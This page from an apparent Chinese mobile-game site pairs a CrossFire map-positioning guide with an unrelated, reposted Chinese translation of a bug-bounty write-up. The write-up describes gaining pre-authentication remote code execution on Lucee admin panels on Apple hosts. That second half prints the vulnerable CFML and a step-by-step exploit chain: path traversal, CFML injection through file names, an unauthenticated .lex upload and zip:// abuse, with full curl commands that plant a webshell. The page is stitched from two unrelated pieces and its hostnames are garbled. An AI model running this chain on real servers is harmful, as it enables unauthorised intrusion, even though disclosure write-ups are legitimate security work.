嗨玩手游网

穿越火线:绝对干货!港口超实用点位,轻轻松松上分

枪王排位如火如荼地进行着,昔日港口这张偏向于冷门的地图也焕发了新的生机。相信不少小伙伴对港口的不少点位都了然于胸,毕竟枪王排位中,这张地图出现的几率还是蛮大的。而今天,小编就来为大家说一说港口这张地图中,超实用的一些点位,轻轻松松上分!

关于港口B仓库门框上,这个点位相信大家一定是非常熟悉的,无论是日常的游戏娱乐,还是各大穿越火线的赛事,该点位出场频率,简直爆炸高。很多玩家在排位中,也经常应用,也经常发生还没有跳上去,就被突然出现的敌人射杀,这种感觉太憋屈了!上图弹痕的位置,队友低头蹲下,通过搭人梯的方式,就可以比较迅速的到达该点位,对进攻B区的敌人给予迎头痛击。

上图中这个点位,是与B包点队友进行双卡位置的不错选择,面对进攻的敌人,交叉火力永远是对敌人造成伤害最大的方法。而且,由于有掩体的保护,闪光弹,手榴弹等对该点位的威胁也是非常小的。最主要的是,这个点位即使没有队友的配合,通过B包点楼梯位置跳到第一个窗户,在根据旋转跳就可以到达上图位置,是保卫者缩防的好选择。

上图的点位可不是从B二楼组合箱,空格+A上来的哦!这个点位的实际作用自然不需要小编过多的介绍吧。队友蹲在上图喷图位置,队友简单的一个W+Ctrl就可以占领此点位,不仅可以躲掉敌人的组合投掷道具,还能够出其不意,刷屏的好选择,就看各位能不能够完成了。

对于A包点下的黄箱上,是一个非常不错的狙击点位,只是很少有玩家应用。A大地域空阔,掩体较少,狙击枪能够很好的发挥作用。这个点位甚至可以看到A门的动向。而且利用铁丝网,起到很好的保护自身的效果。第一枪开出之后,一个后退就能够很好的躲避敌人飞来的子弹,A大的敌人,你怕了吗?

上图中,保卫者所站的点位,能够清楚看到想要过A门的敌人,非常适用于保卫者A大的前压,探知潜伏者的动向,最主要的是,一个简单的跳蹲就可以占领该点位。

说了这么多的点位,不知道对Cfer们有没有帮助呢?

挖掘0day来入侵Apple

大家好!我是黑客Anony

关注我的微信公众号:黑客Anony

可免费领取全套网络安全渗透视频教程,配套攻防靶场。

在Sam等人发布infamous blog post文章后,我们开始对apple进行黑客攻击。目标是专注于发现关键的漏洞,例如个人身份信息泄露或者访问Apple的服务器或者内网。这些是我们认为Apple会最感兴趣的bug类型。

侦查和指纹

在查看我们的侦察数据并确定可能正在运行的服务时,我们发现了三台主机在由Lucee支持的CMS上运行。

由于CMS和Lucee都可以轻松地在本地托管,因此它们是我们入侵的良好目标。

我们选择关注Lucee,因为它公开了管理面板并具有漏洞历史记录。Orange Tsai也曾在Breaking Parser Logic简短地提到过,Lucee是Railo-context的分支。

可以在三台不同的Apple主机上访问Lucee的管理面板。两个正在运行一个过时的版本,另一个正在运行一个相当新的版本。

https://facilitiesle/(最新版本)https://booktravelle/(旧版本)https://booktravel-uatle/(旧版本)

苹果的WAF行为

为了利用我们将在下面讨论的漏洞,我们需要了解Apple所使用的WAF,更重要的是要了解Facilitiesle上的前端服务器如何与之交互。

Apple的waf非常让人头疼,他通过检测URL(查询参数)来阻止几乎所有路径遍历/SQLI的尝试攻击。

Facilitiesle上的前端服务器(反向代理)配置为仅显示来自后端服务器的状态码为200和404的响应。如果您在后端得到其他的状态码,那么前端服务器将返回403,这与触发WAF时候相同。

Lucee配置错误

在本地测试Lucee时,我们发现了配置错误,这将导致攻击者可以直接访问需要身份验证的CFM (ColdFusion)文件。这使我们即使完全未经认证,也可以执行许多需要认证的操作。

一旦您在CFM文件中点击了 request.admintype变量/属性, 由于我们未通过admin身份认证,执行流程就会被终止。但是,在执行该检查之前的代码是可以正常执行的。因此,我们必须先在点击request.admintype找到具有某种错误的文件。

我们使用一下这三个文件在安装Lucee的系统获得完整的预认证/未认证RCE:

imgProcess.cfm(在较早版本中不可用)admin.searchdex.cfmextlications.upload.cfm失败的尝试imgProcess.cfm上不错且简单的RCE

为了复制Apple上的安装版本,我们获得了运行相同版本的Lucee的本地副本。不携带任何参数打开imgProcess.cfm在我们的安装环境下会回显一个错误。在Apple服务器上打开则会返回403,则意味着这个文件是存在的。我们只需要指定正确的参数/值即可;否则,后端服务器将会抛出一个异常,前端服务器将为此返回403.

参数错误时 -

参数正确时 -

这个文件具有路径遍历漏洞,允许使用我们给定的内容在服务器上的任何位置创建文件。

<cfoutput> <cffile action="write" file="#expandPath('{temp-directory}/admin-ext-thumbnails/')#\__#url.file#" Output="#form.imgSrc#" createPath="true"></cfoutput>

则需要一个查询参数file并将其创建为带有以下行的文件:

{temp-directory}/admin-ext-thumbnails/__{our-input}

我们的输入可以被POST参数imgSrc来定义。

正如你已经看到的一样,__目录必须在进行路径遍历之前存在,因为linux要求在进行目录遍历之前必须存在路径。幸运地是,expandPath会创建不存在的路径并将路径以字符串返回。因此,通过file=/../../../context/pwn.cfm将会创建__目录并遍历webroot中的上下文目录,从而在此给我们一个简易的RCE。

然而即使存在这个bug,由于WAF拦截查询参数中的../,我们不能在Apple这个案例上进行利用。 该端点指定要求file作为查询参数(url.file,而不是form.imgsrc)。如果两者都是form或post参数,则不会触发WAF, 我们仍然可以使用该端点来创建我们在确定的目录中控制的名称和内容的文件,而无需触发WAF

现在怎么办?我们如何避免触发WAF?棘手的copy

admin.searchdex.cfm允许我们指定目录并将其内容复制到所需位置。但是,复制功能非常棘手,实际上不会复制文件内容,也不会保留文件扩展名。

该端点采用两个参数:

dataDirluceeArchiveZipPath

dataDir是您要将文件复制到luceeArchiveZipPath参数指定的路径。如果该路径不存在,他将会被创建,我们可以在这里传递绝对路径。

<cfif not directoryExists(dataDir)> <cfdirectory action="create" directory="#dataDir#" mode="777" recurse="true" /></cfif>

请求示例:

GET /lucee/admin/admin.searchdex.cfm?dataDir=/copy/to/path/here/&LUCEEARCHIVEZIPPATH=/copy/from/path/here HTTP/1.1Host: facilitiesleUser-Agent: Mozilla/5.0 Connection: close

既然我们知道复制功能不是标准的,那么让我们更深入地研究负责此功能的代码。

我们注意到了这个有趣的CFML标签:

<cfdirectory action="list" directory="#luceeArchiveZipPath#" filter="*.*.cfm" name="qFiles" sort="name" />

它列出了luceeArchiveZipPath目录中的文件。filter属性表示仅列出格式为*.*.cfm的文件

该查询的结果最终存储在"qFiles"变量中。

接下来,它遍历每一个文件(文件存储在currFile变量),将文件名中出现的'cfm'替换为空白符,并将此更新的文件名存储在currAction变量中。因此,如果我们有一个文件test.cfm,它将变为test。

<cfset currAction = replace(qFiles, '.cfm', '') />

然后,它检查dataDir目录中是否存在诸如“ test.en.txt”或“ test.de.txt”之类的文件名。同样,dataDir变量是用户控制的。如果此文件不存在,它将用空格替换文件名中的点('.'),并将其保存到pageContents.lng.currAction变量中。

<cfif fileExists('#dataDir##currAction#.#lng#.txt')><cfset pageContents[lng][currAction] = fileRead('#dataDir##currAction#.#lng#.txt', 'utf-8') /><cfelse><!--- make sure we will also find this page when searching for the file name---><cfset pageContents[lng][currAction] = "#replace(currAction, '.', ' ')# " /></cfif>

稍后,将创建文件test.\<lang> .txt,pageContents.lng.currAction变量的值将成为其内容。

对于我们来说不幸地是,尽管我们可以通过文件名本身来控制文件的内容,他也会创建.txt文件。但是随着进一步的发展,我们将看到如何利用文件名本身来搞事情;)。

之后,将currFile的内容存储在data变量中,过滤出内容与正则表达式不匹配的文件 [''"##]stText\..+?[''"##],然后将它们放入finds数组中。

<cfset data = fileread(currFile) /><cfset finds = rematchNoCase('[''"##]stText\..+?[''"##]', data) />

然后,它遍历finds数组,并检查每个项是否作为键存在。如果没有,它将创建它作为键并将其存储在searchresults变量中。

<cfloop array="#finds#" index="str"> <cfset str = rereplace(listRest(str, '.'), '.$', '') /> [..snip..] <cfif structKeyExists(translations.en, str)> <cfif not structKeyExists(searchresults[str], currAction)> <cfset searchresults[str][currAction] = 1 /> <cfelse> <cfset searchresults[str][currAction]++ /> </cfif> </cfif></cfloop>

最后,这些键(即searchresults变量)以JSON格式存储在dataDir目录内名为“ searchindex.cfm”的文件中。

<cffile action="write" file="#dataDir#searchindex.cfm" charset="utf-8" output="#serialize(searchresults)#" mode="644" />在Facilitiesle上执行远程代码

如果您没有弄清楚, 这时我们可以通过imgProcess.cfm 和admin.searchdex.cfm结合来在https://facilitiesle 有个不错的rce。

我们已经可以控制一个复制文件到(dataDir参数)的目录和可以指定一个目录从(luceeArchiveZipPath参数)复制文件。

现在,如果可以在服务器某处上创建一个名称为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm,内容则是"#stText.x.f#"的文件,则可以通过luceeArchiveZipPath将其路径传递给admin.searchdex.cfm。由于此关键server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm不存在,将创建它并将其写入名为searchindex.cfm的文件中。这意味着我们可以在使用dataDir参数指定的任何目录中的searchindex.cfm文件中控制CFML标签(类似于PHP标签),这意味着我们可以使用webroot路径在服务器上执行代码!

我们可以利用 imgProcess.cfm 来在目标的文件系统上创建一个server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm文件,其内容与RegExp相匹配[''"##]stText\..+?[''"##]。

这种尝试不会触发WAF,因为我部正在这里进行路径穿越。

取得shell的步骤创建一个带有"#stText.x.f#"(以匹配正则表达式)的内容,名称为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm的文件,我们需要对文件名进行URLencode编码,因为后端(tomcat)不喜欢某些字符。

curl -X POST 'https://facilitiesle/lucee/admin/imgProcess.cfm?file=%2F%73%65%72%76%65%72%2e%3c%63%66%66%69%6c%65%20%61%63%74%69%6f%6e%3d%77%72%69%74%65%20%66%69%6c%65%3d%23%55%72%6c%5b%27%66%27%5d%23%20%6f%75%74%70%75%74%3d%23%55%72%6c%5b%27%63%6f%6e%74%65%6e%74%27%5d%23%3e%2e%63%66%6d' --data 'imgSrc="#stText.Buttons.save#"'复制文件名以准备执行代码

curl 'http://facilitiesle/lucee/admin/admin.searchdex.cfm?dataDir=/full/path/lucee/context/rootxharsh/&LUCEEARCHIVEZIPPATH=/full/path/lucee/temp/admin-ext-thumbnails/__/'编写shell触发代码执行

curl https://facilitiesle/lucee/rootxharsh/searchindex.cfm?f=PoC.cfm&content=cfm_shell访问webshell- https: //facilitiesle/lucee/rootxharsh/PoC.cfm

但是,其他主机呢?

由于imgProcess.cfm在较早的版本中不可用,因此我们必须找到其他方法才能在其他两个主机上获得RCE。我们遇到了另一种巧妙的方法;)。

未经身份验证的.lex文件上传

extlications.upload.cfm部分未经身份验证。该代码段非常简单。我们需要传递带有.lex 文件名扩展名的form参数extfile,否则我们将收到异常。

<cfif not structKeyExists(form, "extfile") or form.extfile eq ""> ...</cfif><!--- try to upload (.zip and .re) ---><cftry> <cffile action="upload" filefield="extfile" destination="#GetTempDirectory()#" nameconflict="makeunique" /> <cfif cffile.serverfileext neq "lex"> <cfthrow message="Only .lex is allowed as extension!" /> </cfif> <cfcatch> ... </cfcatch></cftry><cfset zipfile = "#rereplace(cffile.serverdirectory, '[/\\]$', '')##server.separator.file##cffile.serverfile#" />

对于.lex后缀,我们可以看这段代码:

<cfif cffile.serverfileext eq "lex">... type="#request.adminType#"...</cfif>

因为我们没有request.admintype设置,所以会导致异常。但是,我们的文件仍在上传之前上传,可以在这里确认:

.lex文件其实不过是一种.lex后缀的归档或zip文件,这实际上是Lucee的扩展名格式,也是我们允许上传的。另外,由于不检查内容,因此我们可以将其设置为任何内容。

利用要点

通过把玩Lucee,我们知道它允许使用协议或schemes,利用zip://,file://等(我们在此利用链中使用),因此我们可以在文件系统功能受到完全控制的任何地方指定这schemes输入(比如在这种情况下的luceeArchiveZipPath)。

现在,我们可以利用extlications.upload.cfm创建.lex文件,它是包含一个文件名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm和"#stText.x.f#"作为内容的ZIP档案。

一旦将ZIP存档保存在文件系统上,就可以使用luceeArchiveZipPath变量中的zip://在ZIP存档中查询*.*.cfm文件;

在其他2台主机上获取Shell创建一个以server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm命名且内容"#stText.x.f#"的文件,并将其压缩为payload.lex。在之前提到过 extlications.upload.cfm未认证处上传.lex文件curl -vv -F extfile=@payload.lex https://booktravelle/lucee/admin/extlications.upload.cfm在文件系统部署了任意的.lex(zip存档)和zip://方案后,我们可以执行一下操作。curl https://booktravelle/lucee/admin/admin.searchdex.cfm?dataDir=/full/path/lucee/web/context/exploit/&luceeArchiveZipPath=zip:///full/path/lucee/web/temp/payload.lex现在,我们名为server.<cffile action=write file=#Url['f']# output=#Url['content']#>.cfm的文件已作为文本添加到/<lucee web>/context/exploit/下面的searchindex.cfm文件中,我们可以通过以下方式访问它/d/file/gt/2023-09/4m23dp1ojrq root>/exploit/searchindex.cfm向https://booktravelle/lucee/exploit/searchindex.cfm?f=test.cfm&output=cfml_shell发出请求将创建我们的webshellWebshell : https://booktravelle/lucee/exploit/test.cfm?cmd=id

由于存在负载均衡,因此我们不得不使用intruder来找到我们的shell 。

结论

Apple迅速解决了该问题,但要求我们在进行其他更改之前不要披露此问题。对于这些问题,Apple给予我们总计50,000美元的奖励。

另一方面,我们和苹果也与Lucee进行了交谈。Lucee团队还通过限制直接访问cfm文件(这是commit链接)来修复该错误。不过,我们仍在等待CVE分配。

来源:先知社区

文章仅供交流,如有不法用途,后果自负

好,今天的分享就到这里。

更多互联网圈内消息,黑客教程,干货分享欢迎来同名公号【黑客Anony】

更多攻略
游戏推荐
更多+